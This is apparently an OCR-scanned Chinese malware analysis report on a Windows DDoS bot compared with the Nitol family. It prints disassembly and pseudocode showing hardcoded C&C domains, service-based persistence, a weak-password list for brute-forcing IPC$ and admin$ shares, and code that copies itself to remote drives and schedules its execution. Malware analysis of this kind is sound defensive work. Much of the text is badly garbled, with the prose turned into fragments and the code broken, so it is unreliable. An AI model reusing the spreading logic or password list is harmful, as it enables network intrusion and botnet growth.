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push eax ; hModule

call edi ; GetProcAddress

push offset aClosesocket : ""closesocket
push ebx ; lpLibFileMame
mou [ebp+htons], eax

call esi ; LoadLibraryn

push eax 5 hHModule

call edi ; GetProcAddress

and [ebp+var_7], B

push 8096 s port BB9G

mov edl, eax

mov [ebp+cp], 'n’

mov [ebp+uvar_13], 'b"

mov [ebp+uar_12], "."

mov [ebp+var_11], 'c°

mov [ebp+uar_18], "z°

mov [ebp+var_F], "t

mov [ebp+var_E], "1°

mov [ebp+var_D], "y°

mov [ebp+var_C], "y°

mov [ebp+var_B], "."

mov [ebp+var_A], 'c°

mov [ebp+var_9], ‘o0

mou [ebp+uvar_8], 'm" |; nb.cztlyy.com
mou ebp+name.sa_ramily], 2

call [ebp+htons]
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; dwStackSize
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D T Deathl 6 L ADL zam
A v Nitol & DDoS Lo H Axvr L
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o ' nb.cztlyy.com  qlsh.f3322.net L wA
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A ) F He A
oy B I nb.cztlyy.com 4 NB qlsb.f3322.net
i W Q A
4.5
H | Ne T n1 [ NB 7 HGQ C&C 1 Q
NB Az A Ne ~ 4.9A
ebx —; IpThreadld 4] [0 T IpThFeaara 1
ebx ; duCreationFlags J BRAMT 5 Fsh es::l ; duCreationFlags
ebx ; lpParameter e P push eni : IpPdrameler
nffset enh LAR{FfL.o InSfactAddeass. ... 5 /D\ [} —‘ nn LoFfset subh AARARAAT . - 1nStartaddress 1
. :EE push by L luSTacksize ]“ R [P wed
pus 2 B BTN (TR O AR TTR e [EATH s
i 5.4 wadlh w0
. CODE XREF- _ SeruiceDi.|h ; 1pusAData loc_10893873:
; ApInredulu r ; wlersionRequested pusn esl
; dwCreationFlags esi
5 1pFarameter ; lplhranlu esi ,
-0l ; lpStartAddress ; :sg:i:;iz:ilags offset HainContr

esi
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; duMilliseconds
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Resolwe Location Hetworlk First Last
117,21, 224, 222 CH 117.21.0. 0/ 16 2016-08-01 05:07T:43 2016-08-01 05:07T:43
111,74 238, 108 CH 111,720, 0713 2016-09-01 05:07:43 2016-09-01 05:07:43
117,21, 224, 222 CH 117.21.0. 0/ 16 2016-08-31 05:59:14 2016-08-31 05:59:14
111,74, 238, 109 CH 111720, 0/13 2016-08-31 09:59: 14 2016-08-31 09:59: 14
117,21, 224, 222 cn 117.21. 0. 0716 2016-08-22 08:02:43 2016-08-22 08:02:43
111.74. 238, 109 CH 111720, 0/13 2016-08-22 08:02:43 2016-08-22 08:02:43
11T 21 224 299, . O 11T 21 0 nf1aE AN S NTod nq.fu:._nql _"_'_j_nl1"¢.}n'1_na N2 ed B 0N
111.72. 0. 0413 2016-07-06 03:31:03 2016-07-06 03:45:00 111.74. 238, 109 CN
117.21. 0. 016 2016-07-04 09:24:00 2016-07-06 03:31:03 117.21. 224, 222 CH
5.2
' M) @ He IR:" 117.21.224.222
111.74.238.109 f Ha@ IP 22 8989 o A AT MYu e
~6 L L o~ W Ne O Ha IPT CNCERT  sinkhole

IPA

| cncert-sinkhole.net |

| ’JDNS Info| [Website Info| [IP Info] [Whois]

| _--—

Nameservers
f1g1ns1 . dnspod net, f1gins2.dnspod.net

A Records
111.74.238 109, 117.21.224 222 |

5.3 sinkhole IP
53 L CNCERT v c&C [
T IP 117.21.224.222  111.74.238.109 3 by A
* nwd C&C qlsb.f3322.net 2016 1 6 |t

3, CNCERT fF 1 6 A - c&c [

€ F 1202653.74:" H W [ 45.64.74.157 [ CNCERT AH
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Q a BlandC++ Q ~ 3 VB Q R No

¥ Uge T [ T Deathl 6 P

” 6 L - (" i C&Cb " i1 Lw

whe
e
>

6.1

Tl

HE EFN WEXERE R

(23 Contral Sl = E=T] HriE
@ Enum @id) REG_SZ BUEFEE)
g Har_d_""'are Profiles [abDescription REG_5Z Microsaft JMET COM+ Integrationr with SOAP
FE{ I..II*CIEESI' LR Dt Displa‘,‘l‘-lame REG_SZ Microsoft .Met Framework COM+ Suppaortr
e o r-l::"'orkjn [&¥|Errorcontral REG_DWORD x00000000 (0)
g h ¢ ImagePath REG_EXPAMD_SZ CWINDOWS\system32\feldaa. exe
e vider fol || EElObjectiame REs Sz Lacalsystem N
(] NET Data Provider for | B5tart REG_DWORD Ox00000002 (2)
3 NETFramework [R¥]Type REG_DWORD 0x00000010 (18)

6.1 0 68 by p SYSTEM32 -
WINDOWS + A

A 0 W H ' C&C a WINDOWS  +
a a F A 6.2A
Address |Hex dump Disassembly Comment Label

88401568 56
57
68 n8020000
E8 S41BOOGO call <jmp .&HMFC42_#823>
8B3D B84340OO |mov 5 user3d2 . wsprintfa
8BF@ nov ,
68 ACFA4O000 BO4BFARC ASCII "www.zuimihu.cn:5151"
8D86 ALA1B08008 g
58
FFD?
8DBE ALOOOOOO 5
68 ACF94000 B84BF9AC “Microsoft _MET COHM+ Integrationr with SOAP™

51

FFD7

8D56 24 g

68 2CF9LO00 804 0F92C " -Net Framework COMs+ Supporte™
52

FFD?

8Du6 BY 5

68 BCF9LO00 684 8F90C " .Met CLRr"

6.2 U H
25
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6.2

I Deathl & L
F ° 7 Q 6 h W 4@ “ NB
Af o W - b
T 0O 1 v T° 6.4A
mou [ebp+uar 78], offset apdministrator ; "administrate
mov [ebp+var_6C], offset aTest ; "test”
mou [ebp+uar 68], offset afdmin_@ ; "admin"
mov [ebp+var_64], offset aGuest ; “‘gquest™
mov [ebp+var_66], offset aflex ; "alex"
mov [ebp+var_5C], offset aHome ; "home
mov [ebp+var 58], offset aLove ; "loue”
mov [ebp+var_ 547, offset aXp ; “"=p”
mov [ebp+var 58], offset alser ; "user”
mov [ebp+var 4C], offset aGame ; "game"
mov [ebp+var 487, offset a123 ; 123"
mov [ebp+var_ 447, offset aMn ; “'nn”
mov [ebp+var_ 467, offset aRoot ; "root”
mov [ebp+var_3C], offset sub 4B1848
mou [ebp+uar_38], offset aMovie ; "movie"
mou [ebp+uar_ 34], offset aTime ; "time"
mov [ebp+var_36], offset aYeah ; "yeah”
mov [ebp+var_2C], offset aMoney ; “‘money”
- Frbmerne 00 ol .
A T '
e . v A
- CrLlowar p
44, mijtl (R IV TS Pl 2 T o b
; password® [ I - I
1" e b
123456 P
‘querty” .
'test" .
‘abc123" .
‘memory”’ .
‘home"" .
;123456787 :
'love" .
'bbbbbb* _ P
» F
igeas” ;o
" ;o
'root" .
“caonima" :
“L281314 :
1314528 :
‘asdfgh” .
‘alex" gt .
ingel* R
"HULL" P
123" P
df _ ; tas
iby* sz EE N 1 H

-

AD

e
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0 A T ~ a gethostname gethosybyname op IP H

@ - IPC$™ | A 6.5A

sprintf{&best, "\\\Wis\\ipe$”, Ipaddress); i FETACSERF R, BIERERYIP

v2i = &hest;
1pHetResource = 2;

uz3 = B8;

uzh = B8;

vzt = 1;

w2zt = Edword_18000A74E;
uze = B8;

u28 = B3

(WHetaddConnection2A) (&lpHetResource, 1pPassword, lpUserMame, 8):// iiTiElEiERE
if {( WHetAddConnection2A )

_GetHModuleFileNamen(); i FERE SRR B BiEE
Sleep{B8xC8u);

memset{&Dest, @, OxuBNu);

sprintf(&Dest, "\\ivEsviadmin$ingifd.exe', IpAddress);
{1strcpya)(&ul, "admin$yy");

{

uh

= _GetModuleFileHameA({);

if ( (CopyFileR)(v6, &Dest, B) 77 ¥ ZE BrtEA

|1 {(memset({&best, B, Bx4BLUY,
sprintF{&Dest, "\AAWEsyACS\\HewArean.exe', IpAddress),
{lstrcpyA){&ui6, “C:\\gifd.exe"),
u? = GetHoduleFileHamen(},
{CopyFilen){v7, &Dest, 8))
|1 {(memset({&lest, @, Bx484u),
sprintF{&Dest, "wAWwEsyiDSvhgifd.exe™, IpAddress),
{lstrcpyAy{&ui6, “D:\\gifd.exe"}),
uf = GetHoduleFileHamed(),
{CopyFilea){v&, &Dest, @))
|1 {(memset({&lest, @, Bx484u),
sprintF{&Dest, "wWAWAWESyAESYAg1Fd.exe™, TpAddress),
{lstrcpyA){&uis, “E:\\gifd.exe"}),
u? = GetHoduleFileHamed(),

6.5

C:\\glfd.exe
D:\\g1fd.exe
E:\\glfd.exe

F:\\glfd.exe

a at o - 2t T Deathl 6 A 6.6A
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lea eax, [ebp+Dest]
push [ebp+arg_#8]
push offset afptsSDDS ; "at WiAA\Rs Rd:%d %s"

push eax ; Dest

call esi ;  imp sprintf

add esp, 24h

lea eax, [ebp+Dest]

push ebx ; uCmdShow

push eax ; lpCmdLine
M ; duMilliseconds
mov dword_48%9624, 1

call Sleep

6.6
C&C
C&C poor T I C&C F
v© o 6.7A
834 push 8896 ; port 88946
938 mow edi, eax
438 mow [ebp+cp], 'n°’
438 mow [ebp+var_13], 'b’
38 mow [ebp+var_12], '.'
38 mow [ebp+var_11], 'c’
A38 mov [ebp+var_18], 'z’
A38 mov [ebp+var_F], 't°
838 mou [ebp+var_E], '1°
838 mou [ebp+var D], 'y’
838 mow [ebp+var_C], 'y’
838 mow [ebp+var_B], '.°
838 mow [ebp+var_A], 'c’
838 mow [ebp+var_ 2], ‘o'
838 mow [ebp+var_8], 'm' ; nb.cztlyy.com
838 mow [ebp+name.sa_family], 2

838 call [ebp+htons]

67Q 6 L
I Deathl. 6 L C&C 3 Ne 7 NB 2@
6.8A
hugh edi push edi
push 180008 push 7208008
call Sleep call ds:Sleep

680 L C&C

Al
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6.9 W 3Ne A
i]USI'I edi
push 1860088
call Sleep
6.9Q C&C
s 7 Ha ! C&C bw Iy T
C&Cw W't A
6.4
Q T:a L~ NB T He ™ Lw A &
0 "H 0 C&C A

B0 W..Win XP SP3..

Cc
T
Q7
oy
Q:

C 610p dumpT 1 [71
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=10 x|
el | iEE [ RHE [ AEem) |cRumme) | FRE Gbes) [fEST0 [vipThee 0 |

£ [$iTE0]
T BEhiE S B

i RHIRTES [RERiE]  FelERRRE 5 B simteRE: 5

BE0  [EBLOE |l O
7.1 1z P~ DDoS™
Qo IDA o BinDiff [ Deathl 6 b Nitol DDoS
P 3 Y Ne A 724 [ Deathk 6 L Nitol 3y
1 3 NeAPI Ne 3~ H B 3y A

e O RIERR SR e BA pooms

:!MJ'PA’Z“‘_-L‘% Eaihacng BlRrim s e,

7.2 Deatht Nitol P 3
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c T ww "y L 3 P Nitol
A
T o Lo Ne 0 ~ 1'% H p Ipcgp a L a
C&C 3 1 T Nitol b “I' Deathl 6 b
DDoS s 3 A [ Deathl: & a
DDoSv8Y 1 Nitol™ v W o) S Ne T [» DDoS
- v ~  f | Deathl 6 DDoS” W AT Ne#
’ R DDoS v8 o T L VY
[ Deathl. 6 Nitol “ Nitol U "I Deathl: 6 b
Nitol 6 Ne L o b A

, oFfset a123

74 p (L
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. [&]] Pseudocode-A

7] Prapdsoderh

= | .

sub_u4B83558
ExitPro

¥

switch ( v38 )
case 2u:

1strcpyn(duord 409258, Gusd, 260);
11 - DDRE,_shBaenss

*{_DHORD. *}

oid (__stdcall =)(_DWORD))y115)(8);

00003744 339

)

mencpy (&
sub_4B4CO3(&

1strcpyn
= lstrleng
1strepyn(

break;
case hu:
1strepyn(
v5 = Istrlen( ¥
1strepyn( . (Char =)&u43 + u5
«(_DWORD *)Paranmeter:

. 128);

breaks
case 5u:

break;

I

v266 - recu(s, &u267, 1028,
Sleep(0);

if ( tu2ss || v266

{

0;

dword_LB84C8
dword_4884D8
dword_%B84CC
vA neREAE =
Sleep
0x118u);

break;
case 4:
Sleep(0);
(Bv20T, &Raranel
(Bu251);

0x290u) ;

break;
case 5:

break;
case 6:
u1 = LoadLibraryA{"KERNEL32 .d11");
Openhutexf :GetProcAddress{uv1, “Open
hiutex = (HANDLE)((int (_ stdcall =)(si
2831617,
a,
“LRscKSQhdHZ Bd2EiHCY

if ( nMutex )

Releasebutex(hiufex);
CloseHandle(hhutex);
oonosese 323
W b

void (
 LOB2BA

cdecl

x) (_DUORD

3 ExitProcess(B);

b
* suitch { v37 )
{

)

_DHORD *.

1strcpynA( &
1strlenA(
pyuna( &
( H
break;
case 4u:
Istrcpynn(
v5 = IstrlenA(
1strcpynA(

, Stringz,

dword_4892
dword_46925
dword_%692
dpard %6ood]

» 128);

5], 128);

128);

)i
. &String2[us + 1], &

= *(_DWORD *)Parameters;

break;

case 5u:
dword_481B1%
break;

oono2men 411
) T

[ Deathl: 6 b
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T @ C&C ¥ v c&C c&C”
C&C C&C™ C&Cbun | T C&C
9 T i v "HA
I Deathl 6 T 6 a C&C VY base64 i
a9 T C&C v 7 yi:H C&CT Deathl 6 T
s Wwae v §f U T C&C Q C&C™A DDoS T
6 a c&Cc 6 L C&C ¢ A Nitol 6 a C&C
vy © 6 L C&C v ~ b C&CA

; hHodule

rep stosd
stosw
byte ptr stosb
byte ptr .63
byte ptr )2 5 h p.5a_data], ax
h= byte

776 L C&C b q

37



Dp- I Deathl 6 L AD_zam

6 a C&C b 9 7.8A

t aWs2 32 d11_0
ons

786 a C&C b A

(2 H 3 N 1"y EF rusM Wao n -
Ty 2aeb TR T WM k A
8.
I Deathl 6 Ne v 3 T W f
N Dp - Dy [ Deathl 6 T a a
Ne c? Dp N T [ Deathl: 6
I F e - 7% DDoS DA
v 1 Ne 0 I Deathl 6 Do D~ Do
GiT6o T [ Billgatel: 6 oy Tu
I' Billgatel 6 T D AWEBShell D, i a D 1 T3
Dp ) n Nn ) Dp
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